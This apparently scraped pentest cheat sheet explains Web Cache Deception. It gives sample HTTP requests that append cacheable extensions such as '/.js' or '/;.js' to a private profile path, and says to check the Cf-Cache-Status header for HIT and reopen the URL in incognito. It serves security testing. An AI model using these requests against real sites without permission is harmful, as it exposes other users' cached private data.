Web Cache Deception
Introduction
Web Cache Deception is an attack in which an attacker deceives a caching proxy into improperly storing private information sent over the internet and gaining unauthorized access to that cached data
Where to find
-
How to exploit
-
Normal Request (For example in the settings profile feature)
The response isGET /profile/setting HTTP/1.1 Host: www.vuln.comHTTP/2 200 OK Content-Type: text/html Cf-Cache-Status: HIT ... -
Try to add cacheable extension (For example .js / .css / .jpg, etc.)
The response isGET /profile/setting/.js HTTP/1.1 Host: www.vuln.comIf theHTTP/2 200 OK Content-Type: text/html Cf-Cache-Status: HIT ...Cf-Cache-Statusresponse the request withHITnotMISSorError. And then try to open the url in incognito mode -
Add
;before the extension (For example;.js/;.css/;.jpg, etc.)The response isGET /profile/setting/;.js HTTP/1.1 Host: www.vuln.comIf theHTTP/2 200 OK Content-Type: text/html Cf-Cache-Status: HIT ...Cf-Cache-Statusresponse the request withHITnotMISSorError. And then try to open the url in incognito mode